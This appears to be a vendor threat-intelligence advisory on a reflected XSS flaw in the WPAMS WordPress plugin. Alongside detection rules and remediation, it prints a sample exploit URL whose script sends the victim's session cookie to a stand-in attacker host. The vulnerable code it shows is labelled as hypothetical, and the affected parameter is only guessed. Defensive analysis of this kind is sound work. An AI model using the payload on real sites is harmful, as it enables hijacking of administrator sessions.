CVE-2025-39392

Executive Summary

CVE-2025-39392 is a reflected Cross-Site Scripting (XSS) vulnerability in the WPAMS apartment management plugin for WordPress, developed by Mojoomla. The vulnerability exists in all versions up to and including 44.0 (released 17-08-2023). An attacker can inject arbitrary JavaScript into a web page by crafting a malicious URL, which when visited by an authenticated administrator, can lead to session hijacking, defacement, or redirection to malicious sites. The vulnerability is classified as Reflected XSS (CWE-79) with a CVSS score of 7.1 (High). No public exploit code or patch is currently available, making this a zero-day risk for all active installations.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository and third-party marketplaces. Since no patch is available, users are advised to disable the plugin immediately. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is launched over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need authentication.
• User Interaction (UI): Required (R) – The victim must click a crafted link.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on availability.

Overall CVSS Score: 7.1 (High)

Threat Level: High – Due to the lack of a patch and the ease of exploitation, this vulnerability poses a significant risk to WordPress sites using the WPAMS plugin.

Deep Dive & Mechanics

The vulnerability lies in the improper neutralization of user-supplied input during web page generation. Specifically, the WPAMS plugin fails to sanitize or escape parameters passed via HTTP GET or POST requests before reflecting them in the HTML output. An attacker can craft a URL containing malicious JavaScript code in a query parameter (e.g., ?page=wpams&id=<script>alert(1)</script>). When an administrator or any user with sufficient privileges visits this URL, the script executes in the context of the WordPress admin dashboard.

The vulnerable parameter is likely related to the id or page parameter used in the plugin's admin pages. Since the plugin is designed for apartment management, it may handle sensitive tenant data, making the impact of XSS more severe.

Vulnerable vs. Patched Code

Vulnerable Code (Example):

// In a WPAMS admin page
$id = $_GET['id'];
echo "<div>Apartment ID: " . $id . "</div>";

Patched Code (Hypothetical):

$id = sanitize_text_field($_GET['id']);
echo "<div>Apartment ID: " . esc_html($id) . "</div>";

The vulnerable code directly outputs the $_GET['id'] value without sanitization or escaping. The patched code uses sanitize_text_field() to strip malicious content and esc_html() to encode HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with WPAMS plugin version <= 44.0.
• A victim user with admin privileges.

Exploit Steps:

1. Identify a vulnerable parameter (e.g., id, page, action).
2. Craft a malicious URL:

   http://target.com/wp-admin/admin.php?page=wpams&id=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Send the URL to the victim via email, social engineering, or other means.
4. When the victim clicks the link, the script executes, exfiltrating their session cookie to the attacker's server.

No public exploit code is available for this CVE.

Blue Team (Detection & Prevention)

Detection:

• Monitor web server logs for requests containing <script>, onerror=, javascript: in query parameters.
• Use a Web Application Firewall (WAF) to block reflected XSS patterns.
• Deploy Content Security Policy (CSP) headers to restrict script execution.

Prevention:

• Disable the WPAMS plugin until a patch is released.
• Implement input validation and output encoding for all user-supplied data.
• Use WordPress's built-in functions like esc_html(), esc_attr(), and sanitize_text_field().

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-admin/admin.php?page=wpams&id=* containing <script> tags.
  • Outbound connections to unknown domains from the WordPress server.
• File IOCs:
  • Modified .htaccess files with redirect rules.
  • Suspicious JavaScript files in /wp-content/uploads/ or /wp-content/plugins/wpams/.
• Log IOCs:
  • Repeated 404 errors on non-existent plugin pages.
  • Unusual Referer headers in admin requests.

Detection Engineering

YARA Rule

rule CVE_2025_39392_WPAMS_XSS {
    meta:
        description = "Detects reflected XSS attempts against WPAMS plugin"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2025-39392"
    strings:
        $xss1 = /page=wpams.*[?&]id=.*<script/i
        $xss2 = /page=wpams.*[?&]id=.*onerror=/i
        $xss3 = /page=wpams.*[?&]id=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against WPAMS Plugin
id: 8f4a3b2c-1d5e-4f6a-8b7c-9d0e1f2a3b4c
status: experimental
description: Detects reflected XSS attempts targeting the WPAMS plugin
author: Valters IT
date: 2025-04-17
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'page=wpams'
        cs-uri-query|contains|any:
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in admin pages (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-39392 WPAMS Reflected XSS Attempt";
    flow:to_server,established;
    content:"page=wpams"; http_uri;
    content:"<script"; http_uri;
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the WPAMS plugin until a security patch is released.
2. Implement a Web Application Firewall (WAF) with rules to block reflected XSS patterns.
3. Review server logs for any signs of exploitation.

Long-term Fixes:

• Monitor the Mojoomla vendor for an official patch.
• If the plugin is critical, consider migrating to an alternative apartment management solution.
• Educate administrators about phishing attacks that may deliver malicious URLs.

Valters IT Signature: This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valters-it.com.